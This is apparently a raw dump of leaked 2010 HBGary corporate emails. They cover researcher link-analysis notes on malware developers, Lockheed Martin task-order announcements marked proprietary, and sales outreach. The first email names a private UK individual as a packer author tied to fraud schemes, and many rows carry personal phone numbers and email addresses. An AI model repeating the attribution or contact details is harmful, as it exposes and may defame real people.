\r\n\r\n\r\n\r\n\r\n\r\nI have been doing link analysis all day.  While linking\r\na community of bot / packer / cryptor developers I came across an individual\r\nwho I was able to ID (Garry Kelly, he lives in the UK).  He has his hands\r\nin all kinds of shit.  For one, he is the author of &quot;CacheCrypt&quot;\r\n- a fairly advanced packer.  But, going past this, he is also heavily\r\ninvolved in the PPI programs which are commonly associated with the\r\nRussians.  I was able to ID him on facebook and made a stellar link to\r\nsome e-Cash money trading sites he works with.  But what I found is this\r\nHYIP thing - &quot;High Yield Investment Program&quot; - these are virtual\r\ncompanies that trade currencies and such.  This guy is involved with this,\r\nand I found this site in particular http://www.hothyips.com/. \r\nWhat I found here was so close to home I almost got chills - this is ripped\r\nright from their description:\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOilstructure:\r\n\r\n\r\n\r\n\r\n\r\nOilstructure is an international commercial organization\r\nthat collects, anylizes and processes information concerning the oil indusry.\r\nThe organization gets profits by speculating in the oil market. The special\r\nfeature of the company Oilstructure is a wide international network of agents\r\nwho work for the oil refining companies worldwide.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThese guys are heavily into botnets and access.  The\r\nattacks on B.H. and others could be related.  Obviously there is a market\r\nin access, but in this case there is a direct market for data that would help\r\ntrade futures on the oil market.  So, this is the first evidence I have\r\nfound that backs up my claim that information is being monetized in cyber.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSo it begins,\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12235,'aaron_hbgary_com/12235.html'),(8417,'2010-07-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006508.M699981P14101Q3272.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Some identities to start link analysis','ok importing your data for some reason wasn\'t self-explanatory so I have to go read some help files to figure out the import function in Maltego, but have it installed just don\'t know how to use it. &nbsp;Maybe at some point worth a brief webex with me and Rich to talk about the data.AaronOn Jul 11, 2010, at 10:45 AM, Greg Hoglund wrote:Here is my link analysis so far on RAT developers.\r\n&nbsp;\r\n-Greg\r\nOn Sun, Jul 11, 2010 at 5:45 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nThis is a great list. &nbsp;I am going to start tracing the guys and see where some might go.Sent from my iPad\r\n\r\n\r\n\r\nOn Jul 10, 2010, at 2:44 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n&nbsp;\r\nAaron,\r\ncheck this out:\r\nhttp://pastebin.de/6648\r\n&nbsp;\r\nlook about half way down to find the emails/usernames of hundreds of criminal undergrounders.&nbsp; This could be a great starter for link analysis.\r\n&nbsp;\r\n-Greg\r\n&lt;RAT_Developers.mtgx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5404,'aaron_hbgary_com/5404.html'),(8418,'2010-07-12','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297006508.M965455P14101Q3273.eml','\"Penny C. Hoglund\" <penny@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,','Greg\'s schedule at Black Hat','Penny\r\n \r\nWhat evening at Blackhat are we available to schedule a dinner meeting with Brian Christos from EOP?\r\n \r\nAaron has a good relationship with Brian he may want to join....\r\n \r\nMaria\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n',7700,'aaron_hbgary_com/7700.html'),(8419,'2010-07-12','\"Staley, Ryan E\" <ryan.e.staley@lmco.com>','/aaron@hbgary.com/new/1297006509.M211976P14101Q3274.eml','\"Staley, Ryan E\" <ryan.e.staley@lmco.com>,\"Staley, Ryan E\" <ryan.e.staley@lmco.com>,,,','UNO - O&M Task Order Announcement','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDear UNO\r\nSuppliers:\r\n\r\n&nbsp;\r\n\r\nThe Lockheed\r\nMartin UNO PMO is expecting to receive a Statement of Work for Task JQC\r\nunder the O&amp;M Task Order on/about the third week of July,\r\n2010.&nbsp; JQC is expected to be a one year Cost Plus Fixed Fee\r\n&#8211; Completion (CPFF) effort. \r\n\r\n&nbsp;\r\n\r\nJQC is the continued development and\r\nsupport of a Sponsor tool that was originally developed by a research and\r\ndevelopment contractor.&nbsp; JQC will also require responses to QRC\r\nrequests and support to other Sponsor contractors as requested. \r\n\r\n&nbsp;\r\n\r\nTo be\r\nconsidered qualified, interested suppliers must have significant experience\r\nwith hardware, software, new and existing Sun platforms and development of\r\nSponsor tools. \r\n\r\n&nbsp;\r\n\r\nIf you are\r\ninterested in, and have the capabilities to meet the basic requirements of this\r\ntask order, then please provide a written initial\r\nconfirmation of your interest via email to Ryan Staley, UNO Subcontracts\r\nAdministrator, at ryan.e.staley@lmco.com and\r\nJim Racz, UNO LSE, at james.m.racz@lmco.com\r\nby NLT noon (12pm) on Wed 7/14.&nbsp; In your confirmation response to\r\nLMCO, please be sure to confirm your Security POC name, phone, and fax numbers\r\n(classified and unclassified).&nbsp; You must also complete and return the\r\nattached Day Zero Exhibit I (Initial) Initial Task Order Questionnaire for\r\nClassified Information Exchange attached. \r\n\r\n&nbsp;\r\n\r\nAfter this\r\nnotification, a JQC Reading Room will be available to view a draft\r\nStatement of Work which will not be promulgated via FAX.&nbsp; The Reading Room\r\nwill only be available for those that have provided written notification\r\nof their continuing interest.&nbsp; The reading room will be available 16,\r\n19-20 July from 0800-1600 in one hour segments.&nbsp; Please call or email Jim\r\nRacz (703-466-3314) james.m.racz@lmco.com&nbsp;\r\nto set up an appointment.&nbsp; A TS/ISA or S/ISA clearance with\r\nour Sponsor must be on file at UNO to review the draft JQC SOW in the\r\nReading Room. \r\n\r\n&nbsp;\r\n\r\nProgram\r\nManager and lead engineer/ technician for Task Order JQC must currently\r\npossess a TS/ISA security clearance and be\r\navailable on day 1.&nbsp;\r\nAll others must be S/ISA at a minimum.&nbsp; Please note that other security\r\nrequirements may be promulgated at a later date.\r\n\r\n&nbsp; \r\n\r\nThe\r\nfollowing is our current projected schedule:\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nO/A July\r\n16&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nReading Room available for SOW review\r\n\r\nJuly\r\n28&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBeginning of 10-day task order process &#8211; UNO PMO sends RFP to solicited\r\nbidders\r\n\r\nAugust\r\n18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTask order winner is selected\r\n\r\nAugust\r\n20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAuthorization to proceed on contract\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nCurrently\r\nit is expected that the work required for JQC will be up to the SECRET\r\nlevel.&nbsp; By the time of contract award, you must have the capability\r\nto receive, process, and store SECRET classified material from the UNO Sponsor.\r\n\r\n&nbsp;\r\n\r\nShould\r\nyou have any further questions regarding this, please do not hesitate to\r\ncontact me.\r\n\r\n&nbsp;\r\n\r\nThank\r\nyou,\r\n\r\n&nbsp;\r\n\r\nRyan\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8658,'aaron_hbgary_com/8658.html'),(8420,'2010-07-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006509.M445420P14101Q3275.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Customer List','Hi Bob,We previously talked about getting an HBGary customer list to see if we can drum up some services gigs.  Can you send us the list?Thanks,Ted\r\n\r\n',8228,'aaron_hbgary_com/8228.html'),(8421,'2010-07-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006509.M705790P14101Q3276.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: HBGary','FYI ------------ Forwarded message ----------From: Maier, Raymond &quot;Joe&quot; (US SSA) (US ASTSS Huntsville) &lt;raymond.maier@baesystems.com&gt;\r\nDate: Mon, Jul 12, 2010 at 10:07 AMSubject: Re: HBGaryTo: &quot;ted@hbgary.com&quot; &lt;ted@hbgary.com&gt;There is no funding currently for quick employment\r\n\r\n\r\n\r\n\r\nJoe Maier\r\n719.235.1898 - Mobile\r\n719.325.8445 - Work\r\n\r\n----- Original Message -----\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;\r\nTo: Maier, Raymond &quot;Joe&quot; (US SSA) (US ASTSS Huntsville)\r\nSent: Mon Jul 12 12:04:06 2010\r\nSubject: HBGary\r\n\r\nHi Joe,\r\n\r\nI hope you had a nice vacation.  I think the meeting last week went\r\nwell.  I&#39;m expecting an NDA from Chris for Android.  You mentioned\r\nthat you might have some near-term work on existing tasks.  If this is\r\nthe case, please let me know, we&#39;re eager to help.\r\n\r\nThanks,\r\nTed\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',13418,'aaron_hbgary_com/13418.html'),(8422,'2010-07-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006509.M961525P14101Q3277.eml','\"Lawrence Hill\" <lawrence.hill@ngc.com>','Need help?','Hi Lawrence,Do you have any existing tasks that could use some help from Mark, Aaron or I?  We got the award announcement on the $300K gig I mentioned to you when we met, which is great.  The kickoff was last week, but the work won&#39;t start until September, so we have some availability.\r\nHope all is well,Ted\r\n\r\n',14468,'aaron_hbgary_com/14468.html'),(8423,'2010-07-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006510.M272918P14101Q3278.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: UNO - O&M Task Order Announcement','\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Staley, Ryan E\" \r\n> Date: July 12, 2010 12:05:35 PM EDT\r\n> To: \"Staley, Ryan E\" \r\n> Cc: \"Racz, James M\" , \"Watson, Charles M\" , \"Curtis, Colleen A\" , \"Lentz, Jason M\" \r\n> Subject: UNO - O&M Task Order Announcement\r\n> \r\n> Dear UNO Suppliers:\r\n>  \r\n> The Lockheed Martin UNO PMO is expecting to receive a Statement of Work for Task JQC under the O&M Task Orderon/about the third week of July, 2010.  JQC is expected to be a one year Cost Plus Fixed Fee – Completion (CPFF) effort.\r\n>  \r\n> JQC is the continued development and support of a Sponsor tool that was originally developed by a research and development contractor.  JQC will also require responses to QRC requests and support to other Sponsor contractors as requested.\r\n>  \r\n> To be considered qualified, interested suppliers must have significant experience with hardware, software, new and existing Sun platforms and development of Sponsor tools.\r\n>  \r\n> If you are interested in, and have the capabilities to meet the basic requirements of this task order, then please provide awritten initial confirmation of your interest via email to Ryan Staley, UNO Subcontracts Administrator, atryan.e.staley@lmco.com and Jim Racz, UNO LSE, at james.m.racz@lmco.com by NLT noon (12pm) on Wed 7/14.  In your confirmation response to LMCO, please be sure to confirm your Security POC name, phone, and fax numbers (classified and unclassified).  You must also complete and return the attached Day Zero Exhibit I (Initial) Initial Task Order Questionnaire for Classified Information Exchange attached.\r\n>  \r\n> After this notification, a JQC Reading Room will be available to view a draft Statement of Work which will not be promulgated via FAX.  The Reading Room will only be available for those that have provided written notification of their continuing interest.  The reading room will be available 16, 19-20 July from 0800-1600 in one hour segments.  Please call or email Jim Racz (703-466-3314) james.m.racz@lmco.com  to set up an appointment.  A TS/ISA or S/ISA clearance with our Sponsor must be on file at UNO to review the draft JQC SOW in the Reading Room.\r\n>  \r\n> Program Manager and lead engineer/ technician for Task Order JQC must currently possess a TS/ISA security clearance and be available on day 1.  All others must be S/ISA at a minimum.  Please note that other security requirements may be promulgated at a later date.\r\n>  \r\n> The following is our current projected schedule:\r\n>  \r\n>  \r\n> O/A July 16                  Reading Room available for SOW review\r\n> July 28                          Beginning of 10-day task order process – UNO PMO sends RFP to solicited bidders\r\n> August 18                    Task order winner is selected\r\n> August 20                    Authorization to proceed on contract\r\n>  \r\n>  \r\n> Currently it is expected that the work required for JQC will be up to the SECRET level.  By the time of contract award, you musthave the capability to receive, process, and store SECRET classified material from the UNO Sponsor.\r\n>  \r\n> Should you have any further questions regarding this, please do not hesitate to contact me.\r\n>  \r\n> Thank you,\r\n>  \r\n> Ryan\r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16548,'aaron_hbgary_com/16548.html'),(8424,'2010-07-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006510.M513449P14101Q3279.eml','\"Ted Vera\" <ted@hbgary.com>','Re: HBGary','hmm...bummer.On Jul 12, 2010, at 12:08 PM, Ted Vera wrote:FYI ------------ Forwarded message ----------From: Maier, Raymond \"Joe\" (US SSA) (US ASTSS Huntsville) &lt;raymond.maier@baesystems.com&gt;\r\nDate: Mon, Jul 12, 2010 at 10:07 AMSubject: Re: HBGaryTo: \"ted@hbgary.com\" &lt;ted@hbgary.com&gt;There is no funding currently for quick employment\r\n\r\n\r\n\r\n\r\nJoe Maier\r\n719.235.1898 - Mobile\r\n719.325.8445 - Work\r\n\r\n----- Original Message -----\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;\r\nTo: Maier, Raymond \"Joe\" (US SSA) (US ASTSS Huntsville)\r\nSent: Mon Jul 12 12:04:06 2010\r\nSubject: HBGary\r\n\r\nHi Joe,\r\n\r\nI hope you had a nice vacation. &nbsp;I think the meeting last week went\r\nwell. &nbsp;I\'m expecting an NDA from Chris for Android. &nbsp;You mentioned\r\nthat you might have some near-term work on existing tasks. &nbsp;If this is\r\nthe case, please let me know, we\'re eager to help.\r\n\r\nThanks,\r\nTed\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6931,'aaron_hbgary_com/6931.html'),(8425,'2010-07-12','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297006510.M839106P14101Q3280.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Customer List','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll customers or just federal customers?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Monday, July 12, 2010 12:08 PM\r\nTo: Bob Slapnik\r\nCc: Barr Aaron\r\nSubject: Customer List\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Bob,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe previously talked about getting an HBGary customer list\r\nto see if we can drum up some services gigs. &nbsp;Can you send us the list?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.830 / Virus Database: 271.1.1/2990 - Release Date: 07/12/10\r\n02:36:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10402,'aaron_hbgary_com/10402.html'),(8426,'2010-07-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006511.M107484P14101Q3281.eml','\"Willis, Dan\" <dan.willis@macb.com>','Help on existing tasks?','Hi Dan,I was wondering if you need any help on existing tasks in the areas of malware analysis/reverse engineering, vulnerability research, exploit development, social networking, or incident response / forensics.  We have some availability while we await a contract that was awarded which doesn&#39;t start until September.  \r\nHope all is well,Ted\r\n\r\n',7069,'aaron_hbgary_com/7069.html'),(8427,'2010-07-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006511.M365109P14101Q3282.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Customer List','Most interested in Federal, but really any customers who may be interested in services.On Mon, Jul 12, 2010 at 10:13 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAll customers or just federal customers?\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Monday, July 12, 2010 12:08 PM\r\nTo: Bob Slapnik\r\nCc: Barr Aaron\r\nSubject: Customer List\r\n\r\n\r\n\r\n \r\n\r\nHi Bob,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWe previously talked about getting an HBGary customer list\r\nto see if we can drum up some services gigs.  Can you send us the list?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.830 / Virus Database: 271.1.1/2990 - Release Date: 07/12/10\r\n02:36:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',14000,'aaron_hbgary_com/14000.html'),(8428,'2010-07-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006515.M978425P14101Q3283.eml','\"Paul Perkinson\" <pperk@raytheonvtc.com>','HBGary','Hello Paul,I was referred to you by Don Mackert.  I&#39;d love an opportunity to discuss your current Cyber requirements.  HBGary has extensive experience with malware analysis/reverse engineering, vulnerability research, exploit development, and social networking.  I&#39;m not sure if Don forwarded any of our whitepapers to you, so I&#39;ve attached our three most recent.  We will also be briefing our Fingerprint tool at BlackHat, a tool we developed to help tackle the attribution problem.\r\nRegards,Ted-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',13471,'aaron_hbgary_com/13471.html'),(8429,'2010-07-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006516.M479600P14101Q3284.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Andy Purdy','Did you ever discuss this with Bob Frizelle?---------- Forwarded message ----------From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: Tue, Jun 1, 2010 at 2:05 PMSubject: Andy PurdyTo: Barr Aaron &lt;aaron@hbgary.com&gt;Reach out to Andy try to meet up.\r\n\r\nHe mentioned that we should contact Bob F. to discuss possibly\r\noffering HBGary training on their contract vehicle.\r\n\r\nTed\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',8032,'aaron_hbgary_com/8032.html'),(8430,'2010-07-12','\"Staley, Ryan E\" <ryan.e.staley@lmco.com>','/aaron@hbgary.com/new/1297006516.M737963P14101Q3285.eml','\"Staley, Ryan E\" <ryan.e.staley@lmco.com>,\"Staley, Ryan E\" <ryan.e.staley@lmco.com>,,,','UNO - Seven Task Order Announcement  - Lockheed Martin Proprietary Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\nLockheed Martin Proprietary Information\r\nProprietary information owned by Lockheed Martin that requires protection from unauthorized disclosure.  Access is restricted to employees, and authorized individuals who have executed nondisclosure agreements or who are otherwise legally bound by confidentiality obligations to Lockheed Martin.\r\n\r\n.\r\n.\r\n.\r\nMessage Start:\r\n-----------------------\r\n\r\n\r\n\r\nDear UNO\r\nSuppliers:\r\n\r\n&nbsp;\r\n\r\nThe Lockheed\r\nMartin UNO PMO is expecting to receive a Statement of Work for Task\r\nOrder Seven on/about the third week of July, 2010.&nbsp; Seven is\r\nexpected to be a six month Cost Plus Fixed Fee &#8211; Completion (CPFF)\r\neffort. \r\n\r\n&nbsp;\r\n\r\nSeven is a vulnerability study. To be\r\nconsidered qualified, interested suppliers must have significant network\r\nexperience.. \r\n\r\n&nbsp;\r\n\r\nIf you are\r\ninterested in, and have the capabilities to meet the basic requirements of this\r\ntask order, then please provide a written initial\r\nconfirmation of your interest via email to Ryan Staley, UNO Subcontracts\r\nAdministrator, at ryan.e.staley@lmco.com and\r\nJim Racz, UNO LSE, at james.m.racz@lmco.com\r\nby NLT noon (12pm) on Wed 7/14.&nbsp; In your confirmation response to\r\nLMCO, please be sure to confirm your Security POC name, phone, and fax numbers\r\n(classified and unclassified).&nbsp; You must also complete and return the\r\nattached Day Zero Exhibit I (Initial) Initial Task Order Questionnaire for\r\nClassified Information Exchange attached. \r\n\r\n&nbsp;\r\n\r\nAfter this\r\nnotification, a Seven Reading Room will be available to view a draft\r\nStatement of Work which will not be promulgated via FAX.&nbsp; The Reading Room\r\nwill only be available for those that have provided written notification\r\nof their continuing interest.&nbsp; The reading room will be available 16,\r\n19-20 July from 0800-1600 in one hour segments.&nbsp; Please call or email Jim\r\nRacz (703-466-3314) james.m.racz@lmco.com&nbsp;\r\nto set up an appointment.&nbsp; A TS/ISA or S/ISA clearance with\r\nour Sponsor must be on file at UNO to review the draft Seven SOW in the\r\nReading Room. \r\n\r\n&nbsp;\r\n\r\nProgram\r\nManager and at least technical person for Task Order Seven must\r\ncurrently possess a TS/ISSA security clearance\r\nand be available on day 1.&nbsp;\r\nAll others must be S/ISA at a minimum.&nbsp; Please note that other security\r\nrequirements may be promulgated at a later date.\r\n\r\n&nbsp; \r\n\r\nThe\r\nfollowing is our current projected schedule:\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nO/A July 16&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Reading\r\nRoom available for SOW review\r\n\r\nJuly 28&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Beginning\r\nof 10-day task order process &#8211; UNO PMO sends RFP to solicited bidders\r\n\r\nAugust 18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Task\r\norder winner is selected\r\n\r\nAugust 20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Authorization\r\nto proceed on contract\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nCurrently\r\nit is expected that the work required for Seven will be up to the SECRET\r\nlevel.&nbsp; Technical information may be discussed at the Sponsor facility up\r\nto TS/SCI.&nbsp; By the time of contract award, you must have the\r\ncapability to receive, process, and store SECRET classified material from the\r\nUNO Sponsor.\r\n\r\n&nbsp;\r\n\r\nShould\r\nyou have any further questions regarding this, please do not hesitate to\r\ncontact me.\r\n\r\n&nbsp;\r\n\r\nThank\r\nyou,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nRyan\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6709,'aaron_hbgary_com/6709.html'),(8431,'2010-07-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006517.M316256P14101Q3287.eml','\"Ira Entis\" <Ira.Entis@agilex.com>,\"Ira Entis\" <Ira.Entis@agilex.com>,','Re: PT','Hi Ira &amp; Jerry,Just wanted to ping you on the PT engagement, any updates?Thanks,TedOn Mon, Jun 28, 2010 at 11:59 AM, Ira Entis &lt;Ira.Entis@agilex.com&gt; wrote:\r\nTed --\r\n\r\nNo kickoff meeting today.  The client had to split the order into 2 pieces.  Given 1) the time urgency to get the ORCL piece started this week and 2) the non-standard terms we need for your part of the work, they split and awarded part 1 to us.  For part 2 (PT), they need to A) increase the number of hours per our discussion last week and B) agree to waive their standard security terms (which include language such as our commitment not to try and penetrate their systems!).  This is expected to take a couple more weeks for them to work through on their end and reissue to us.  We should be planning for the August timing (which you should have).\r\n\r\n\r\nDoes that clear things up?\r\n\r\nIra\r\n\r\n\r\n\r\nOn Jun 28, 2010, at 12:44 PM, Ted Vera wrote:\r\n\r\nHi Ira,\r\n\r\nWhat&#39;s the latest word on the penetration test?  Is there a kick-off\r\ntelecon scheduled?  I heard that the proposal had to be split in order\r\nto get the Oracle effort awarded in time.  When do you expect the PT\r\naward announcement?\r\n\r\nThanks,\r\nTed\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',4388,'aaron_hbgary_com/4388.html'),(8432,'2010-07-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006517.M520669P14101Q3288.eml','\"Robert Frizzelle\" <rfrizzelle@csc.com>','Training','Hi Bob,\r\n\r\nIt was good to see you the other night. And have a drink.\r\n\r\nAndy Purdy mentioned to some of our folks that you might have an interest on our malware and social media training.\r\n\r\nLet me know if you want to discuss.\r\n\r\nAaron\r\n\r\nSent from my iPhone',10101,'aaron_hbgary_com/10101.html'),(8433,'2010-07-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006517.M66207P14101Q3286.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: EXTERNAL:Need help?','---------- Forwarded message ----------From: Ted Vera &lt;ted@hbgary.com&gt;Date: Mon, Jul 12, 2010 at 10:46 AM\r\nSubject: Re: EXTERNAL:Need help?To: &quot;Hill, Lawrence C (TASC)&quot; &lt;lawrence.hill@tasc.com&gt;We have some internal IRAD work we are doing and we have an offsite customer engagement the week of Aug 9th-17th.  Other than that, we could get you up to 2 FTE if you needed that much, no problem on travel.\r\n\r\nThanks,TedOn Mon, Jul 12, 2010 at 10:43 AM, Hill, Lawrence C (TASC) &lt;lawrence.hill@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCongrats!!   Will definitely keep it in mind and see\r\nwhat we can do.   Do you know kind of percentages of availability, or\r\ndays per week you might be available?  Can you do short term travel (weeks\r\nat a site)?   L\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Monday, July 12, 2010 10:11 AM\r\nTo: Hill, Lawrence C (TASC)\r\nSubject: EXTERNAL:Need help?\r\n\r\n\r\n\r\n \r\n\r\nHi Lawrence,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDo you have any existing tasks that could use some help from\r\nMark, Aaron or I?  We got the award announcement on the $300K gig I\r\nmentioned to you when we met, which is great.  The kickoff was last week,\r\nbut the work won&#39;t start until September, so we have some availability.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHope all is well,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',2639,'aaron_hbgary_com/2639.html'),(8434,'2010-07-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006517.M737533P14101Q3289.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Andy Purdy','I sent him a note.Sent from my iPhoneOn Jul 12, 2010, at 12:26 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:Did you ever discuss this with Bob Frizelle?---------- Forwarded message ----------From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: Tue, Jun 1, 2010 at 2:05 PMSubject: Andy PurdyTo: Barr Aaron &lt;aaron@hbgary.com&gt;Reach out to Andy try to meet up.\r\n\r\nHe mentioned that we should contact Bob F. to discuss possibly\r\noffering HBGary training on their contract vehicle.\r\n\r\nTed\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',7777,'aaron_hbgary_com/7777.html'),(8435,'2010-07-12','\"Trae Stephens\" <tstephens@palantir.com>','/aaron@hbgary.com/new/1297006517.M942498P14101Q3290.eml','\"pnl\" <pnl@palantir.com>','Reminder: Palantir Night Live TOMORROW','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n 